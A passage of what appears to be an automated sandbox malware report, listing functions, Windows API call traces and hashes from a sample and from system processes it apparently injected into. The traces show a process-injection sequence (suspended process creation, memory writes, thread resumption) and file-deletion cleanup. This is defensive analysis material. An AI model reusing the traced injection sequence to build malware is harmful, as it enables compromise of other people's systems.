Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 00AC2237

Memory Dump Source

Source File: 00000004.00000002.2888928023.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 45d53095cbbf9c766309197109e34ac0c8c251fd450118505d4c08bfa770ae20
Instruction ID: cdfd058294846393527a23a69d82aed125c299c38b3c44931be5a47ac5480816
Opcode Fuzzy Hash: 45d53095cbbf9c766309197109e34ac0c8c251fd450118505d4c08bfa770ae20
Instruction Fuzzy Hash: F3213D31518E5D8F8F55EF1C8809FEA37E1FB68755B42032AAC19E3200D730D98087C1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00AC1D99
VirtualAlloc.KERNELBASE ref: 00AC1DD2
VirtualProtect.KERNELBASE ref: 00AC1E56

Memory Dump Source

Source File: 00000004.00000002.2888928023.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: dd34eb1389eaef043c92a696ed53661b54a7e883a9eaaee22049f10a42ac24d8
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: E221F730B34C1D0BEB58A77C9859764F6D2E79C320F990299E91ED36E5ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00AC0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00AC092A
RtlExitUserThread.NTDLL ref: 00AC0933

Memory Dump Source

Source File: 00000004.00000002.2888928023.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ac0000_sihost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 23dfea852a366a571cc3348c698cc6744426d11f639f151413aad9b7f5eb2e10
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 9231E472000204AFEF017F709E86FBA3BACEF11300F424169BD85DA0A2EA7449658BB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 3456, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	69
Total number of Limit Nodes:	4

Executed Functions

Function 00910811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0091092A
RtlExitUserThread.NTDLL ref: 00910933

Memory Dump Source

Source File: 00000005.00000002.2886729770.0000000000910000.00000040.00000001.00020000.00000000.sdmp, Offset: 00910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_910000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 0bb578ed6cec17c8f136f477abcb2608ff25218c2125ec3b643453ee16afebde
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DE31D67220420C7FEB017B709D46BFA3B6CEF91300F4001A5BD85DA0A2DAB649D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 3528, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	69
Total number of Limit Nodes:	4

Executed Functions

Function 009A0811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 009A092A
RtlExitUserThread.NTDLL ref: 009A0933

Memory Dump Source

Source File: 00000006.00000002.2887243645.00000000009A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 009A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9a0000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 87a61ee7780fe3dd6be775b2a921c89204c80ea1769b2b74f3f30dd65b7be30b
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: DB31E6724102046FEB017B749D4ABBA7BACEF92310F000165BD85DA0A6EA7549648AFA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ctfmon.exePID: 3832, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	101
Total number of Limit Nodes:	4

Executed Functions

Function 00A51D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00A51D99
VirtualAlloc.KERNELBASE ref: 00A51DD2
VirtualProtect.KERNELBASE ref: 00A51E56

Memory Dump Source

Source File: 00000007.00000002.2888442084.0000000000A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a50000_ctfmon.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: e5dc80538da9fb4d46b28acacc3c2bb4e555f0cc24faa64339f8904ee302d7fe
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: 9621D631A34C1D0BEB58A27C9859774F6E2F79C321F940295ED19D36D4ED68CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 00A50811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00A5092A
RtlExitUserThread.NTDLL ref: 00A50933

Memory Dump Source

Source File: 00000007.00000002.2888442084.0000000000A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a50000_ctfmon.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: d9c953606555283b5bd9303adf5bc3df3a133a87740289e9a75d62b9567f8b42
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: D831C672410204AFEF017F709E87EBA3BACFF11312F440165FD95DA0A6EA744969CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 4196, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	67
Total number of Limit Nodes:	5

Executed Functions

Function 00D40811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00D4092A
RtlExitUserThread.NTDLL ref: 00D40933

Memory Dump Source

Source File: 00000008.00000002.2888693305.0000000000D40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_svchost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: 08b2109dcbf42d691bd0579a811ffb356924513e44b27f1ccfa88f3ac837c6f5
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: A631C672410244AFEB017B709D86ABA3FACEF11310F440165BE85DA0A6EA7449A5CAF5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: StartMenuExperienceHost.exePID: 4660, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	70
Total number of Limit Nodes:	4

Executed Functions

Function 00B50811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 00B5092A
RtlExitUserThread.NTDLL ref: 00B50933

Memory Dump Source

Source File: 00000009.00000002.2888642573.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b50000_StartMenuExperienceHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: d0a9b7ccad2424afbd224703fef996352ea6b7a6d1d9ad784538435e3ee26c62
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 5E31D4720202046FEB017F709D86FBA3BECEF11312F0005E5BD95DA0A6EA744D69CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 4872, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	80
Total number of Limit Nodes:	8

Executed Functions

Function 00110811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0011092A
RtlExitUserThread.NTDLL ref: 00110933

Memory Dump Source

Source File: 0000000A.00000002.2886556042.0000000000110000.00000040.00000001.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: e0c6e7e9a2d7599d1d0e12609d6689695a60be68487ad526544be4dcdcbfa815
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 4B31D6728042047FEB0A7B709D46AFA7B6CEF15300F000175BD85DA0A2EBB449D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bin.exePID: 7532, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	31.4%
Signature Coverage:	0%
Total number of Nodes:	462
Total number of Limit Nodes:	5

Executed Functions

Function 02380005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0238098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 023809A5
Part of subcall function 0238098B: GetStartupInfoA.KERNEL32(00000000), ref: 023809BD

ExitProcess.KERNEL32(00000000), ref: 0238001D

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: a287faa4fa95e8a3f5c84f8dc856e66b27c84a1475dcc4910eb629901050568f
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: 0C7202A145E3C05FD72FBB604A65A657FB9AF03208B1A10CBD4C1DF0B3D6649A0DC76A

Uniqueness

Uniqueness Score: -1.00%

Function 00850000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00850318
VirtualProtect.KERNELBASE ref: 00850680
VirtualProtect.KERNELBASE ref: 008506FD

Strings

v, xrefs: 00850141
d:, xrefs: 008500A0
, xrefs: 0085000F
@, xrefs: 0085001F
1;, xrefs: 00850286
R, xrefs: 00850039
C[, xrefs: 00850221
y7, xrefs: 00850234
wJ, xrefs: 0085012E

Memory Dump Source

Source File: 0000000C.00000002.1812098720.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Offset: 00850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_850000_bin.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: a83a67dc5248ec11a752d4e3d9235a2fc5cf258d1871ba1ffd0080b1d3c1f827
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: 363277B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C093E Relevance: 18.1, APIs: 12, Instructions: 134
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 001C0959
RtlExitUserThread.NTDLL(00000000), ref: 001C0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0981
GetStartupInfoA.KERNEL32(00000000), ref: 001C0999

Part of subcall function 001C09D9: CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
Part of subcall function 001C09D9: GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
Part of subcall function 001C09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
Part of subcall function 001C09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
Part of subcall function 001C09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
Part of subcall function 001C09D9: ResumeThread.KERNEL32(?), ref: 001C0AB6
Part of subcall function 001C09D9: Sleep.KERNEL32(000003E8), ref: 001C0AC6
Part of subcall function 001C09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 02247e30dbf509db19e564959b2d0d53da4b464b58ceeb9d9e50b48634e6cc8b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: E7517031644354AFEF239F20CC85F9A77B8AF14B44F040199BA49FE0D6DBB0DA94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3F0D Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D
Sleep.KERNELBASE(000003E8,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F4B
Sleep.KERNEL32(000007D0), ref: 001C3F5B
Sleep.KERNEL32(00000BB8), ref: 001C3F6B

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 634a74a46434a642e0226302b98b7da89e65e1ed753664d014aab6768df5a327
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: EFF05E60988244A6EF413BB0884AF4D36B45F31705F04889CBA59E90D2CF30C6508E72

Uniqueness

Uniqueness Score: -1.00%

Function 001C1345 Relevance: 4.6, APIs: 3, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 001C1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 001C1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 001C13E5

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 24bdabae7abb68ff9a17f5ee70b33f63d9b304115b88680595e81b57cc4b6d8c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C921AE31944256AFDB11DE78C844B5DBBB5AF05310F054219F955BB5D5D730E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02383409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02383405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02383409

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: ca6f0edebffd9bb2924a5450e1d8a21222bf92ee10a23942faead219f6babb9d
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: 13F0F875A00154DBEF12EF24C485A9A7BF8AF84344F4508C8AA4DBF206CA30A599CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02382951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02382949,00000008,?,00000000,02382835,00000000), ref: 02382956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02382993
lstrcat.KERNEL32(00000000,023829C1), ref: 023829D0
lstrcat.KERNEL32(00000000,023829F8), ref: 02382A07
lstrcat.KERNEL32(00000000,02382A2F), ref: 02382A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02382B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02382B66

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 3f42b6f8231ee44447f82dbdfb2a56677ce5942c08541a50f89f840f7a315c1a
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 5C515171501394AEEB237F708D48FAB77BDEF40705F4404A6AE85EE051EE349680CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C292D Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(001C2925,00000008,?,00000000,001C2811,00000000), ref: 001C2932
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 001C296F
lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC
lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 5e20f8d1fd77fe1a3bbaf27d3d0f84e3a94bc46b39ba8ee9e7a75b819cd3b3af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 55513471500264AFDB227B608D49FAB77BCEF60705F0444AEFA45EB056DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 023809FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,023809F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02380A04
GetThreadContext.KERNEL32(?,00000000), ref: 02380A2C
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 02380A57
DuplicateHandle.KERNEL32(000000FF,000000FF,?,02385834,00000000,00000000,00000002), ref: 02380A9C
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 02380ACA
ResumeThread.KERNEL32(?), ref: 02380ADA
Sleep.KERNEL32(000003E8), ref: 02380AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02380B01

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: 653c7ca59492c808b9af08f9304fd86b8880f0c1d8734a2a6221dbde066ea1a9
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 6A314F316402189FEF279F20CC85BA977B8BF04748F0805D4AA49FE1E5DBB0D694CE64

Uniqueness

Uniqueness Score: -1.00%

Function 001C09D9 Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
ResumeThread.KERNEL32(?), ref: 001C0AB6
Sleep.KERNEL32(000003E8), ref: 001C0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 0000000C.00000002.1811183603.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d08d0b8b2051c34f5721e4dda066ff8a6639c36971b334a2f4be7756b07d5326
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: F0312F31640215AFEF239F14CC85FAA77B8AF14744F080199AA49FE0E5DBB0DA90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 023829CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,023829C1), ref: 023829D0

Part of subcall function 02382A01: lstrcat.KERNEL32(00000000,023829F8), ref: 02382A07
Part of subcall function 02382A01: lstrcat.KERNEL32(00000000,02382A2F), ref: 02382A3E
Part of subcall function 02382A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AB8
Part of subcall function 02382A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02382AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02382B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02382B66

Memory Dump Source

Source File: 0000000C.00000002.1812618047.0000000002380000.00000040.00001000.00020000.00000000.sdmp, Offset: 02380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2380000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: f476d220d687aba7819765499cc8778cfc7e8b440bce6d49efd8cbf0e8579e85
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 23413271501398AEDB33BB708D48EAF77BDEF40704F4045A6AE85EE051EE349680CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 001C29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC

Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
